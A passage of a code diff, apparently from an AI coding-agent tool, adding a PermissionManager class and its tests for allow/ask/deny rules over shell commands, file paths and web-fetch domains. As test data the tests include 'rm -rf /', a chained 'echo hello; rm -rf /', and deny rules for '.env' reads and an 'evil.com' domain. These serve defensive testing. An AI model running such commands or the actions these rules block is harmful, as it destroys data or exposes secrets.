expect(matchesRule(rule, 'mcp__chrome__navigate')).toBe(false); + expect(matchesRule(rule, 'mcp__other__use_browser')).toBe(false); + }); +}); + +// ─── PermissionManager ────────────────────────────────────────────────────── + +function makeConfig( + opts: Partial<{ + permissionsAllow: string[]; + permissionsAsk: string[]; + permissionsDeny: string[]; + coreTools: string[]; + projectRoot: string; + cwd: string; + }> = {}, +): PermissionManagerConfig { + return { + getPermissionsAllow: () => opts.permissionsAllow, + getPermissionsAsk: () => opts.permissionsAsk, + getPermissionsDeny: () => opts.permissionsDeny, + getCoreTools: () => opts.coreTools, + getProjectRoot: () => opts.projectRoot ?? '/project', + getCwd: () => opts.cwd ?? '/project', + }; +} + +describe('PermissionManager', () => { + let pm: PermissionManager; + + describe('basic rule evaluation', () => { + beforeEach(() => { + pm = new PermissionManager( + makeConfig({ + permissionsAllow: ['ReadFileTool', 'Bash(git *)'], + permissionsAsk: ['WriteFileTool'], + permissionsDeny: ['ShellTool'], + }), + ); + pm.initialize(); + }); + + it('returns deny for a denied tool', () => { + expect(pm.evaluate({ toolName: 'run_shell_command' })).toBe('deny'); + }); + + it('returns ask for an ask-rule tool', () => { + expect(pm.evaluate({ toolName: 'write_file' })).toBe('ask'); + }); + + it('returns allow for an allow-rule tool', () => { + expect(pm.evaluate({ toolName: 'read_file' })).toBe('allow'); + }); + + it('returns default for unmatched tool', () => { + // Note: 'glob' is covered by ReadFileTool via Read meta-category, + // so use a tool not in any rule or meta-category + expect(pm.evaluate({ toolName: 'task' })).toBe('default'); + }); + + it('deny takes precedence over ask and allow', () => { + const pm2 = new PermissionManager( + makeConfig({ + permissionsAllow: ['run_shell_command'], + permissionsAsk: ['run_shell_command'], + permissionsDeny: ['run_shell_command'], + }), + ); + pm2.initialize(); + expect(pm2.evaluate({ toolName: 'run_shell_command' })).toBe('deny'); + }); + + it('ask takes precedence over allow', () => { + const pm2 = new PermissionManager( + makeConfig({ + permissionsAllow: ['write_file'], + permissionsAsk: ['write_file'], + }), + ); + pm2.initialize(); + expect(pm2.evaluate({ toolName: 'write_file' })).toBe('ask'); + }); + }); + + describe('command-level evaluation', () => { + beforeEach(() => { + pm = new PermissionManager( + makeConfig({ + permissionsAllow: ['Bash(git *)'], + permissionsDeny: ['Bash(rm *)'], + }), + ); + pm.initialize(); + }); + + it('allows a matching allowed command', () => { + expect( + pm.evaluate({ toolName: 'run_shell_command', command: 'git status' }), + ).toBe('allow'); + }); + + it('denies a matching denied command', () => { + expect( + pm.evaluate({ toolName: 'run_shell_command', command: 'rm -rf /' }), + ).toBe('deny'); + }); + + it('returns default for an unmatched command', () => { + expect( + pm.evaluate({ toolName: 'run_shell_command', command: 'echo hello' }), + ).toBe('default'); + }); + + it('isCommandAllowed delegates to evaluate', () => { + expect(pm.isCommandAllowed('git commit')).toBe('allow'); + expect(pm.isCommandAllowed('rm -rf /')).toBe('deny'); + expect(pm.isCommandAllowed('ls')).toBe('default'); + }); + }); + + describe('compound command evaluation', () => { + it('all sub-commands allowed → allow', () => { + pm = new PermissionManager( + makeConfig({ + permissionsAllow: ['Bash(safe-cmd *)', 'Bash(one-cmd *)'], + }), + ); + pm.initialize(); + expect( + pm.evaluate({ + toolName: 'run_shell_command', + command: 'safe-cmd arg1 && one-cmd arg2', + }), + ).toBe('allow'); + }); + + it('one sub-command unmatched → default (most restrictive)', () => { + pm = new PermissionManager( + makeConfig({ + permissionsAllow: ['Bash(safe-cmd *)'], + }), + ); + pm.initialize(); + expect( + pm.evaluate({ + toolName: 'run_shell_command', + command: 'safe-cmd && two-cmd', + }), + ).toBe('default'); + }); + + it('one sub-command denied → deny', () => { + pm = new PermissionManager( + makeConfig({ + permissionsAllow: ['Bash(safe-cmd *)'], + permissionsDeny: ['Bash(evil-cmd *)'], + }), + ); + pm.initialize(); + expect( + pm.evaluate({ + toolName: 'run_shell_command', + command: 'safe-cmd && evil-cmd rm-all', + }), + ).toBe('deny'); + }); + + it('one sub-command ask + one allow → ask', () => { + pm = new PermissionManager( + makeConfig({ + permissionsAllow: ['Bash(git *)'], + permissionsAsk: ['Bash(npm *)'], + }), + ); + pm.initialize(); + expect( + pm.evaluate({ + toolName: 'run_shell_command', + command: 'git status && npm publish', + }), + ).toBe('ask'); + }); + + it('pipe compound: all matched → allow', () => { + pm = new PermissionManager( + makeConfig({ + permissionsAllow: ['Bash(git *)', 'Bash(grep *)'], + }), + ); + pm.initialize(); + expect( + pm.evaluate({ + toolName: 'run_shell_command', + command: 'git log | grep fix', + }), + ).toBe('allow'); + }); + + it('pipe compound: second unmatched → default', () => { + pm = new PermissionManager( + makeConfig({ + permissionsAllow: ['Bash(git *)'], + }), + ); + pm.initialize(); + expect( + pm.evaluate({ + toolName: 'run_shell_command', + command: 'git log | grep fix', + }), + ).toBe('default'); + }); + + it('semicolon compound: deny in second → deny', () => { + pm = new PermissionManager( + makeConfig({ + permissionsAllow: ['Bash(echo *)'], + permissionsDeny: ['Bash(rm *)'], + }), + ); + pm.initialize(); + expect( + pm.evaluate({ + toolName: 'run_shell_command', + command: 'echo hello; rm -rf /', + }), + ).toBe('deny'); + }); + + it('|| compound: all allowed → allow', () => { + pm = new PermissionManager( + makeConfig({ + permissionsAllow: ['Bash(git *)', 'Bash(echo *)'], + }), + ); + pm.initialize(); + expect( + pm.evaluate({ + toolName: 'run_shell_command', + command: 'git push || echo failed', + }), + ).toBe('allow'); + }); + + it('operators inside quotes: treated as single command', () => { + pm = new PermissionManager( + makeConfig({ + permissionsAllow: ['Bash(echo *)'], + }), + ); + pm.initialize(); + expect( + pm.evaluate({ + toolName: 'run_shell_command', + command: "echo 'a && b'", + }), + ).toBe('allow'); + }); + + it('three-part compound: all must pass', () => { + pm = new PermissionManager( + makeConfig({ + permissionsAllow: ['Bash(git *)', 'Bash(npm *)', 'Bash(echo *)'], + }), + ); + pm.initialize(); + expect( + pm.evaluate({ + toolName: 'run_shell_command', + command: 'git add . && npm test && echo done', + }), + ).toBe('allow'); + }); + + it('three-part compound: one unmatched → default', () => { + pm = new PermissionManager( + makeConfig({ + permissionsAllow: ['Bash(git *)', 'Bash(echo *)'], + }), + ); + pm.initialize(); + expect( + pm.evaluate({ + toolName: 'run_shell_command', + command: 'git add . && npm test && echo done', + }), + ).toBe('default'); + }); + + it('isCommandAllowed also handles compound commands', () => { + pm = new PermissionManager( + makeConfig({ + permissionsAllow: ['Bash(safe-cmd *)', 'Bash(one-cmd *)'], + permissionsDeny: ['Bash(evil-cmd *)'], + }), + ); + pm.initialize(); + expect(pm.isCommandAllowed('safe-cmd a && one-cmd b')).toBe('allow'); + expect(pm.isCommandAllowed('safe-cmd a && unknown-cmd')).toBe('default'); + expect(pm.isCommandAllowed('safe-cmd a && evil-cmd b')).toBe('deny'); + }); + }); + + describe('file path evaluation', () => { + beforeEach(() => { + pm = new PermissionManager( + makeConfig({ + permissionsDeny: ['Read(.env)', 'Edit(/src/generated/**)'], + permissionsAllow: ['Read(/docs/**)'], + projectRoot: '/project', + cwd: '/project', + }), + ); + pm.initialize(); + }); + + it('denies reading a denied file', () => { + expect( + pm.evaluate({ toolName: 'read_file', filePath: '/project/.env' }), + ).toBe('deny'); + }); + + it('denies editing in a denied directory', () => { + expect( + pm.evaluate({ + toolName: 'edit', + filePath: '/project/src/generated/code.ts', + }), + ).toBe('deny'); + }); + + it('allows reading in an allowed directory', () => { + expect( + pm.evaluate({ + toolName: 'read_file', + filePath: '/project/docs/readme.md', + }), + ).toBe('allow'); + }); + + it('Read deny applies to grep_search too (meta-category)', () => { + expect( + pm.evaluate({ toolName: 'grep_search', filePath: '/project/.env' }), + ).toBe('deny'); + }); + + it('returns default for unmatched path', () => { + expect( + pm.evaluate({ + toolName: 'read_file', + filePath: '/project/src/index.ts', + }), + ).toBe('default'); + }); + }); + + describe('WebFetch domain evaluation', () => { + beforeEach(() => { + pm = new PermissionManager( + makeConfig({ + permissionsAllow: ['WebFetch(domain:github.com)'], + permissionsDeny: ['WebFetch(domain:evil.com)'], + }), + ); + pm.initialize(); + }); + + it('allows fetch to allowed domain', () => { + expect(pm.evaluate({ toolName: 'web_fetch', domain: 'github.com' })).toBe( + 'allow', + ); + }); + + it('allows fetch to subdomain of allowed domain', () => { + expect( + pm.evaluate({ toolName: 'web_fetch', domain: 'api.github.com' }), + ).toBe('allow'); + }); + + it('denies fetch to denied domain', () => { + expect(pm.evaluate({ toolName: 'web_fetch', domain: 'evil.com' })).toBe( + 'deny', + ); + }); + + it('returns default for unmatched domain', () => { + expect( + pm.evaluate({ toolName: 'web_fetch', domain: 'example.com' }), + ).toBe('default'); + }); + }); + + describe('isToolEnabled', () => { + it('returns false for deny-ruled tools', () => { + pm = new PermissionManager( + makeConfig({ permissionsDeny: ['ShellTool'] }), + ); + pm.initialize(); + expect(pm.isToolEnabled('run_shell_command')).toBe(false); + }); + + it('returns true for tools with only specifier deny rules', () => { + pm = new PermissionManager( + makeConfig({ permissionsDeny: ['Bash(rm *)'] }), + ); + pm.initialize(); + expect(pm.isToolEnabled('run_shell_command')).toBe(true); + }); + + it('excludeTools passed via permissionsDeny disables the tool', () => { + pm = new PermissionManager( + makeConfig({ permissionsDeny: ['run_shell_command'] }), + ); + pm.initialize(); + expect(pm.isToolEnabled('run_shell_command')).toBe(false); + }); + + it('coreTools allowlist: listed tool is enabled', () => { + pm = new PermissionManager( + makeConfig({ coreTools: ['read_file', 'Bash'] }), + ); + pm.initialize(); + expect(pm.isToolEnabled('read_file')).toBe(true); + expect(pm.isToolEnabled('run_shell_command')).toBe(true); // Bash resolves to run_shell_command + }); + + it('coreTools allowlist: unlisted tool is disabled', () => { + pm = new PermissionManager(makeConfig({ coreTools: ['read_file'] })); + pm.initialize(); + expect(pm.isToolEnabled('read_file')).toBe(true); + expect(pm.isToolEnabled('run_shell_command')).toBe(false); + expect(pm.isToolEnabled('edit')).toBe(false); + }); + + it('coreTools with specifier: tool-level check strips specifier', () => { + // "Bash(ls -l)" should register run_shell_command (specifier only affects runtime) + pm = new PermissionManager(makeConfig({ coreTools: ['Bash(ls -l)'] })); + pm.initialize(); + expect(pm.isToolEnabled('run_shell_command')).toBe(true); + expect(pm.isToolEnabled('read_file')).toBe(false); + }); + + it('empty coreTools: all tools enabled (no whitelist restriction)', () => { + pm = new PermissionManager(makeConfig({ coreTools: [] })); + pm.initialize(); + expect(pm.isToolEnabled('read_file')).toBe(true); + expect(pm.isToolEnabled('run_shell_command')).toBe(true); + }); + + it('coreTools allowlist + deny rule: deny takes precedence for listed tools', () => { + pm = new PermissionManager( + makeConfig({ + coreTools: ['read_file', 'Bash'], + permissionsDeny: ['Bash'], + }), + ); + pm.initialize(); + expect(pm.isToolEnabled('read_file')).toBe(true); + expect(pm.isToolEnabled('run_shell_command')).toBe(false); // in list but denied + }); + + it('permissionsAllow alone does NOT restrict unlisted tools (not a whitelist)', () => { + // This verifies the previous incorrect behavior is gone: permissionsAllow + // only means "auto-approve", it does NOT block unlisted tools. + pm = new PermissionManager( + makeConfig({ permissionsAllow: ['read_file'] }), + ); + pm.initialize(); + expect(pm.isToolEnabled('read_file')).toBe(true); + expect(pm.isToolEnabled('run_shell_command')).toBe(true); // not denied, just unreviewed + }); + }); + + describe('session rules', () => { + beforeEach(() => { + pm = new PermissionManager(makeConfig({})); + pm.initialize(); + }); + + it('addSessionAllowRule enables auto-approval for that pattern', () => { + expect( + pm.evaluate({ toolName: 'run_shell_command', command: 'git status' }), + ).toBe('default'); + pm.addSessionAllowRule('Bash(git *)'); + expect( + pm.evaluate({ toolName: 'run_shell_command', command: 'git status' }), + ).toBe('allow'); + }); + + it('session deny rules override allow rules', () => { + pm.addSessionAllowRule('run_shell_command'); + pm.addSessionDenyRule('run_shell_command'); + expect(pm.evaluate({ toolName: 'run_shell_command' })).toBe('deny'); + }); + }); + + describe('allowedTools via permissionsAllow', () => { + it('allow rule auto-approves matching tools/commands', () => { + pm = new PermissionManager( + makeConfig({ permissionsAllow: ['ReadFileTool', 'Bash(git *)'] }), + ); + pm.initialize(); + expect(pm.evaluate({ toolName: 'read_file' })).toBe('allow'); + expect( + pm.evaluate({ toolName: 'run_shell_command', command: 'git status' }), + ).toBe('allow'); + }); + }); + + describe('listRules', () => { + it('returns all rules with type and scope', () => { + pm = new PermissionManager( + makeConfig({ + permissionsAllow: ['ReadFileTool'], + permissionsDeny: ['ShellTool'], + }), + ); + pm.initialize(); + pm.addSessionAllowRule('Bash(git *)'); + + const rules = pm.listRules(); + expect(rules.length).toBe(3); + const sessionAllow = rules.find( + (r) => r.scope === 'session' && r.type === 'allow', + ); + expect(sessionAllow?.rule.toolName).toBe('run_shell_command'); + }); + }); +}); + +// ─── getRuleDisplayName ────────────────────────────────────────────────────── + +describe('getRuleDisplayName', () => { + it('maps read tools to "Read" meta-category', () => { + expect(getRuleDisplayName('read_file')).toBe('Read'); + expect(getRuleDisplayName('grep_search')).toBe('Read'); + expect(getRuleDisplayName('glob')).toBe('Read'); + expect(getRuleDisplayName('list_directory')).toBe('Read'); + }); + + it('maps edit tools to "Edit" meta-category', () => { + expect(getRuleDisplayName('edit')).toBe('Edit'); + expect(getRuleDisplayName('write_file')).toBe('Edit'); + }); + + it('maps shell to "Bash"', () => { + expect(getRuleDisplayName('run_shell_command')).toBe('Bash'); + }); + + it('maps web_fetch to "WebFetch"', () => { + expect(getRuleDisplayName('web_fetch')).toBe('WebFetch'); + }); + + it('maps task to "Task" and skill to "Skill"', () => { + expect(getRuleDisplayName('task')).toBe('Task'); + expect(getRuleDisplayName('skill')).toBe('Skill'); + }); + + it('returns the canonical name for unknown tools (e.g. MCP)', () => { + expect(getRuleDisplayName('mcp__server__tool')).toBe('mcp__server__tool'); + }); +}); + +// ─── buildPermissionRules ──────────────────────────────────────────────────── + +describe('buildPermissionRules', () => { + describe('path-based tools (Read/Edit)', () => { + it('generates Read rule scoped to parent directory for read_file', () => { + const rules = buildPermissionRules({ + toolName: 'read_file', + filePath: '/Users/alice/.secrets', + }); + // read_file is file-targeted → dirname gives /Users/alice, plus /** glob + expect(rules).toEqual(['Read(//Users/alice/**)']); + }); + + it('generates Read rule with directory as-is for grep_search', () => { + const rules = buildPermissionRules({ + toolName: 'grep_search', + filePath: '/external/dir', + }); + // grep_search is directory-targeted → path used as-is, plus /** glob + expect(rules).toEqual(['Read(//external/dir/**)']); + }); + + it('generates Read rule with directory as-is for glob', () => { + const rules = buildPermissionRules({ + toolName: 'glob', + filePath: '/tmp/data', + }); + expect(rules).toEqual(['Read(//tmp/data/**)']); + }); + + it('generates Read rule with directory as-is for list_directory', () => { + const rules = buildPermissionRules({ + toolName: 'list_directory', + filePath: '/home/user/docs', + }); + expect(rules).toEqual(['Read(//home/user/docs/**)']); + }); + + it('generates Edit rule scoped to parent directory for edit', () => { + const rules = buildPermissionRules({ + toolName: 'edit', + filePath: '/external/file.ts', + }); + // edit is file-targeted → dirname gives /external, plus /** glob + expect(rules).toEqual(['Edit(//external/**)']); + }); + + it('generates Edit rule scoped to parent directory for write_file', () => { + const rules = buildPermissionRules({ + toolName: 'write_file', + filePath: '/tmp/output.txt', + }); + expect(rules).toEqual(['Edit(//tmp/**)']); + }); + + it('falls back to bare display name when no filePath', () => { + const rules = buildPermissionRules({ toolName: 'read_file' }); + expect(rules).toEqual(['Read']); + }); + }); + + describe('generated rules round-trip through parseRule and matchesRule', () => { + it('Read rule for external file covers the containing directory', () => { + const rules = buildPermissionRules({ + toolName: 'read_file', + filePath: '/Users/alice/.secrets', + }); + expect(rules).toHaveLength(1); + expect(rules[0]).toBe('Read(//Users/alice/**)'); + + const parsed = parseRule(rules[0]!); + expect(parsed.toolName).toBe('read_file'); + expect(parsed.specifier).toBe('//Users/alice/**'); + expect(parsed.specifierKind).toBe('path'); + + // Should match the original file (inside the directory) + expect( + matchesRule( + parsed, + 'read_file', + undefined, + '/Users/alice/.secrets', + undefined, + { projectRoot: '/some/project', cwd: '/some/project' }, + ), + ).toBe(true); + + // Should also match other files in the same directory + expect( + matchesRule( + parsed, + 'read_file', + undefined, + '/Users/alice/.other', + undefined, + { projectRoot: '/some/project', cwd: '/some/project' }, + ), + ).toBe(true); + + // Should NOT match files in a different directory + expect( + matchesRule( + parsed, + 'read_file', + undefined, + '/Users/bob/.secrets', + undefined, + { projectRoot: '/some/project', cwd: '/some/project' }, + ), + ).toBe(false); + }); + + it('Read rule also matches other read-family tools on the same path', () => { + const rules = buildPermissionRules({ + toolName: 'grep_search', + filePath: '/external/dir', + }); + const parsed = parseRule(rules[0]!); + + // Should match grep_search on a file inside the dir + expect( + matchesRule( + parsed, + 'grep_search', + undefined, + '/external/dir/file.txt', + undefined, + { projectRoot: '/p', cwd: '/p' }, + ), + ).toBe(true); + + // Should also match read_file (Read meta-category) + expect( + matchesRule( + parsed, + 'read_file', + undefined, + '/external/dir/other.ts', + undefined, + { projectRoot: '/p', cwd: '/p' }, + ), + ).toBe(true); + }); + }); + + describe('domain-based tools', () => { + it('generates WebFetch rule with domain specifier', () => { + const rules = buildPermissionRules({ + toolName: 'web_fetch', + domain: 'example.com', + }); + expect(rules).toEqual(['WebFetch(example.com)']); + }); + + it('falls back to bare display name when no domain', () => { + const rules = buildPermissionRules({ toolName: 'web_fetch' }); + expect(rules).toEqual(['WebFetch']); + }); + }); + + describe('command-based tools', () => { + it('generates Bash rule with command specifier', () => { + const rules = buildPermissionRules({ + toolName: 'run_shell_command', + command: 'git status', + }); + expect(rules).toEqual(['Bash(git status)']); + }); + + it('falls back to bare display name when no command', () => { + const rules = buildPermissionRules({ toolName: 'run_shell_command' }); + expect(rules).toEqual(['Bash']); + }); + }); + + describe('literal-specifier tools', () => { + it('generates Skill rule with specifier', () => { + const rules = buildPermissionRules({ + toolName: 'skill', + specifier: 'Explore', + }); + expect(rules).toEqual(['Skill(Explore)']); + }); + + it('generates Task rule with specifier', () => { + const rules = buildPermissionRules({ + toolName: 'task', + specifier: 'research', + }); + expect(rules).toEqual(['Task(research)']); + }); + + it('falls back to bare display name when no specifier', () => { + const rules = buildPermissionRules({ toolName: 'skill' }); + expect(rules).toEqual(['Skill']); + }); + }); + + describe('unknown / MCP tools', () => { + it('uses the canonical name as display for MCP tools', () => { + const rules = buildPermissionRules({ + toolName: 'mcp__puppeteer__navigate', + }); + expect(rules).toEqual(['mcp__puppeteer__navigate']); + }); + }); +}); diff --git a/packages/core/src/permissions/permission-manager.ts b/packages/core/src/permissions/permission-manager.ts new file mode 100644 index 000000000000..06f0548b03a9 --- /dev/null +++ b/packages/core/src/permissions/permission-manager.ts @@ -0,0 +1,611 @@ +/** + * @license + * Copyright 2025 Google LLC + * SPDX-License-Identifier: Apache-2.0 + */ + +import { + parseRules, + parseRule, + matchesRule, + resolveToolName, + splitCompoundCommand, +} from './rule-parser.js'; +import type { PathMatchContext } from './rule-parser.js'; +import { extractShellOperations } from './shell-semantics.js'; +import type { ShellOperation } from './shell-semantics.js'; +import type { + PermissionCheckContext, + PermissionDecision, + PermissionRule, + PermissionRuleSet, + RuleType, + RuleWithSource, + RuleScope, +} from './types.js'; + +/** + * Numeric priority for each PermissionDecision. + * Higher number = more restrictive. Used to combine decisions by taking + * the most restrictive result across base rules + virtual shell operations. + */ +const DECISION_PRIORITY: Readonly> = { + deny: 3, + ask: 2, + default: 1, + allow: 0, +}; + +/** + * Minimal interface for the parts of Config used by PermissionManager. + * Keeps the dependency explicit and avoids a circular import on the + * full Config class. + * + * Each getter already returns a fully-merged list: persistent settings rules + * plus any SDK / CLI params that have been folded in by the Config layer. + * PermissionManager therefore only needs these three getters. + */ +export interface PermissionManagerConfig { + /** Merged allow-rules (settings + coreTools + allowedTools). */ + getPermissionsAllow(): string[] | undefined; + /** Merged ask-rules (settings only). */ + getPermissionsAsk(): string[] | undefined; + /** Merged deny-rules (settings + excludeTools). */ + getPermissionsDeny(): string[] | undefined; + /** Project root directory (for resolving path patterns). */ + getProjectRoot?(): string; + /** Current working directory (for resolving path patterns). */ + getCwd?(): string; + /** + * Returns the current approval mode (plan/default/auto-edit/yolo). + * Used by `getDefaultMode()` to determine the fallback when no rule matches. + */ + getApprovalMode?(): string; + /** + * Returns the legacy coreTools allowlist. + * + * When non-empty, only the tools in this list will be considered enabled at + * the registry level — all other tools will be excluded from registration. + * This preserves the original `tools.core` whitelist semantic inside + * PermissionManager, so `createToolRegistry` can use a single + * `pm.isToolEnabled()` check without any legacy fallback. + * + * @deprecated Configure tool availability via `permissions.deny` rules + * (e.g. `"Bash"` to block all shell commands) instead. + */ + getCoreTools?(): string[] | undefined; +} + +/** + * Manages tool and command permissions by evaluating a set of + * prioritised rules against allow / ask / deny lists. + * + * Rule evaluation order (highest priority first): + * 1. deny rules → PermissionDecision.deny + * 2. ask rules → PermissionDecision.ask + * 3. allow rules → PermissionDecision.allow + * 4. (no match) → PermissionDecision.default + * + * Rules can come from three sources, checked in order within each type: + * - Session rules (in-memory only, added during the current session) + * - Persistent rules (from settings files, passed via ConfigParameters) + * + * Legacy params (coreTools / allowedTools / excludeTools) are converted + * to in-memory rules for backward compatibility with the SDK API. + */ +export class PermissionManager { + /** Persistent rules loaded from settings (all scopes merged). */ + private persistentRules: PermissionRuleSet = { + allow: [], + ask: [], + deny: [], + }; + + /** In-memory rules added for the current session only. */ + private sessionRules: PermissionRuleSet = { + allow: [], + ask: [], + deny: [], + }; + + /** + * Canonical tool names from the legacy `coreTools` allowlist. + * When non-null, `isToolEnabled()` rejects any tool not in this set. + * Populated during `initialize()` from `config.getCoreTools()`. + */ + private coreToolsAllowList: Set | null = null; + + constructor(private readonly config: PermissionManagerConfig) {} + + /** + * Initialise from the config's permission parameters. + * Must be called once before any rule lookups. + * + * The config getters already return fully-merged lists (settings + SDK params), + * so we simply parse them into typed rules. + */ + initialize(): void { + this.persistentRules = { + allow: parseRules(this.config.getPermissionsAllow() ?? []), + ask: parseRules(this.config.getPermissionsAsk() ?? []), + deny: parseRules(this.config.getPermissionsDeny() ?? []), + }; + + // Build the coreTools allowlist (legacy whitelist semantic). + // Each entry may be a bare name ("Bash", "read_file") or include a specifier + // ("Bash(ls -l)") – we normalise to canonical tool names and ignore specifiers + // because the registry check is at the tool level, not the invocation level. + const rawCoreTools = this.config.getCoreTools?.(); + if (rawCoreTools && rawCoreTools.length > 0) { + this.coreToolsAllowList = new Set( + rawCoreTools.map((t) => parseRule(t).toolName), + ); + } + } + + // --------------------------------------------------------------------------- + // Core evaluation + // --------------------------------------------------------------------------- + + /** + * Evaluate the permission decision for a given tool invocation context. + * + * @param ctx - The context containing the tool name and optional command. + * @returns A PermissionDecision indicating how to handle this tool call. + */ + evaluate(ctx: PermissionCheckContext): PermissionDecision { + const { command } = ctx; + + // For shell commands, split compound commands and evaluate each + // sub-command independently, then return the most restrictive result. + // Priority order (most to least restrictive): deny > ask > default > allow + if (command !== undefined) { + const subCommands = splitCompoundCommand(command); + if (subCommands.length > 1) { + return this.evaluateCompoundCommand(ctx, subCommands); + } + } + + return this.evaluateSingle(ctx); + } + + /** + * Evaluate a single (non-compound) context against all rules. + * + * For shell commands (run_shell_command), the result is the most restrictive + * of: + * 1. The base decision from Bash / command-pattern rules. + * 2. The decision derived from virtual file / network operations extracted + * via `extractShellOperations` — allows Read/Edit/Write/WebFetch rules + * to match equivalent shell commands (e.g. `cat` → Read, `curl` → WebFetch). + */ + private evaluateSingle(ctx: PermissionCheckContext): PermissionDecision { + const { toolName, command, filePath, domain, specifier } = ctx; + + // Build path context for resolving relative path patterns + const pathCtx: PathMatchContext | undefined = + this.config.getProjectRoot && this.config.getCwd + ? { + projectRoot: this.config.getProjectRoot(), + cwd: this.config.getCwd(), + } + : undefined; + + const matchArgs = [ + toolName, + command, + filePath, + domain, + pathCtx, + specifier, + ] as const; + + // Compute the base decision from explicit Bash/file/domain rules. + // Using an IIFE to keep the priority-cascade logic clean. + const baseDecision: PermissionDecision = (() => { + // Priority 1: deny rules (session first, then persistent) + for (const rule of [ + ...this.sessionRules.deny, + ...this.persistentRules.deny, + ]) { + if (matchesRule(rule, ...matchArgs)) return 'deny'; + } + // Priority 2: ask rules + for (const rule of [ + ...this.sessionRules.ask, + ...this.persistentRules.ask, + ]) { + if (matchesRule(rule, ...matchArgs)) return 'ask'; + } + // Priority 3: allow rules + for (const rule of [ + ...this.sessionRules.allow, + ...this.persistentRules.allow, + ]) { + if (matchesRule(rule, ...matchArgs)) return 'allow'; + } + return 'default'; + })(); + + // `deny` is the most restrictive result — no further checks needed. + if (baseDecision === 'deny') return 'deny'; + + // For shell commands: evaluate virtual file/network operations extracted + // from the command string against Read/Edit/Write/WebFetch/ListFiles rules. + // + // Virtual ops can only ESCALATE a decision (to 'ask' or 'deny'). + // A 'default' virtual result means "shell semantics have no opinion" — it + // must never downgrade an explicit 'allow' decision from a Bash rule. + // Example: `git status` has no file ops; an allow rule for `Bash(git *)` + // should return 'allow', not be downgraded to 'default'. + if (toolName === 'run_shell_command' && command !== undefined) { + const cwd = pathCtx?.cwd ?? process.cwd(); + const virtualDecision = this.evaluateShellVirtualOps( + extractShellOperations(command, cwd), + pathCtx, + ); + if ( + virtualDecision !== 'default' && + DECISION_PRIORITY[virtualDecision] > DECISION_PRIORITY[baseDecision] + ) { + return virtualDecision; + } + } + + return baseDecision; + } + + /** + * Evaluate a list of virtual operations (derived from shell command analysis) + * against all current rules. Returns the most restrictive matching decision, + * or `'default'` if no rule matches any operation. + * + * Each operation is evaluated as if it were a direct invocation of its + * `virtualTool` (e.g. `read_file`, `web_fetch`, `edit`), so Read/Edit/etc. + * rules are applied naturally. + */ + private evaluateShellVirtualOps( + ops: ShellOperation[], + _pathCtx: PathMatchContext | undefined, + ): PermissionDecision { + if (ops.length === 0) return 'default'; + + let worst: PermissionDecision = 'default'; + + for (const op of ops) { + // Evaluate the virtual operation using the standard rule-matching path. + // Since op.virtualTool ≠ 'run_shell_command', this will not recurse back + // into the shell-semantics branch. + const opDecision = this.evaluateSingle({ + toolName: op.virtualTool, + filePath: op.filePath, + domain: op.domain, + }); + + if (DECISION_PRIORITY[opDecision] > DECISION_PRIORITY[worst]) { + worst = opDecision; + if (worst === 'deny') return 'deny'; // short-circuit + } + } + + return worst; + } + + /** + * Evaluate a compound command by splitting it into sub-commands, + * evaluating each independently, and returning the most restrictive result. + * + * Restriction order: deny > ask > default > allow + * + * Example: with rules `allow: [safe-cmd *, one-cmd *]` + * - "safe-cmd && one-cmd" → both allow → allow + * - "safe-cmd && two-cmd" → allow + default → default + * - "safe-cmd && evil-cmd" (deny: [evil-cmd]) → allow + deny → deny + */ + private evaluateCompoundCommand( + ctx: PermissionCheckContext, + subCommands: string[], + ): PermissionDecision { + const PRIORITY: Record = { + deny: 3, + ask: 2, + default: 1, + allow: 0, + }; + + let mostRestrictive: PermissionDecision = 'allow'; + + for (const subCmd of subCommands) { + const subCtx: PermissionCheckContext = { + ...ctx, + command: subCmd, + }; + const decision = this.evaluateSingle(subCtx); + + if (PRIORITY[decision] > PRIORITY[mostRestrictive]) { + mostRestrictive = decision; + } + + // Short-circuit: deny is the most restrictive possible + if (mostRestrictive === 'deny') { + return 'deny'; + } + } + + return mostRestrictive; + } + + // --------------------------------------------------------------------------- + // Registry-level helper + // --------------------------------------------------------------------------- + + /** + * Determine whether a tool should be present in the tool registry. + * + * A tool is disabled (returns false) when a `deny` rule without a specifier + * (i.e. a whole-tool deny) matches. Specifier-based deny rules such as + * `"Bash(rm -rf *)"` do NOT remove the tool from the registry – they only + * deny specific invocations at runtime. + */ + isToolEnabled(toolName: string): boolean { + const canonicalName = resolveToolName(toolName); + + // If a coreTools allowlist is active, only explicitly listed tools are + // registered. This mirrors the legacy `tools.core` whitelist semantic: + // any tool NOT in the allowlist is excluded from the registry entirely. + if (this.coreToolsAllowList !== null && this.coreToolsAllowList.size > 0) { + if (!this.coreToolsAllowList.has(canonicalName)) { + return false; + } + } + + // evaluate({ toolName }) without a command will only match rules that have + // no specifier, which is the correct registry-level check. + const decision = this.evaluate({ toolName: canonicalName }); + return decision !== 'deny'; + } + + // --------------------------------------------------------------------------- + // Shell command helper + // --------------------------------------------------------------------------- + + /** + * Determine the permission decision for a specific shell command string. + * + * @param command - The shell command to evaluate. + * @returns The PermissionDecision for this command. + */ + isCommandAllowed(command: string): PermissionDecision { + return this.evaluate({ + toolName: 'run_shell_command', + command, + }); + } + + // --------------------------------------------------------------------------- + // Relevance check + // --------------------------------------------------------------------------- + + /** + * Check whether any rule (allow, ask, or deny) in the current rule set + * matches the given invocation context. + * + * This allows the scheduler to skip the full `evaluate()` call when no + * rules are relevant, preserving the tool's `getDefaultPermission()` result + * as-is. + * + * "Relevant" means at least one rule's toolName matches AND, if the rule + * has a specifier, it also matches the context's command/filePath/domain. + * + * Examples for Shell executing `git clone xxx`: + * - "Bash" → matches (tool-level rule, no specifier) + * - "Bash(git *)" → matches (git sub-command wildcard) + * - "Bash(git clone *)" → matches (exact sub-command wildcard) + * - "Bash(git add *)" → no match (different sub-command) + * - "Edit" → no match (different tool) + * + * @param ctx - Permission check context. + * @returns true if at least one rule matches. + */ + hasRelevantRules(ctx: PermissionCheckContext): boolean { + const { toolName, command, filePath, domain, specifier } = ctx; + + const pathCtx: PathMatchContext | undefined = + this.config.getProjectRoot && this.config.getCwd + ? { + projectRoot: this.config.getProjectRoot(), + cwd: this.config.getCwd(), + } + : undefined; + + const matchArgs = [ + toolName, + command, + filePath, + domain, + pathCtx, + specifier, + ] as const; + + const allRules = [ + ...this.sessionRules.allow, + ...this.persistentRules.allow, + ...this.sessionRules.ask, + ...this.persistentRules.ask, + ...this.sessionRules.deny, + ...this.persistentRules.deny, + ]; + + if (allRules.some((rule) => matchesRule(rule, ...matchArgs))) return true; + + // For shell commands: also check whether any virtual 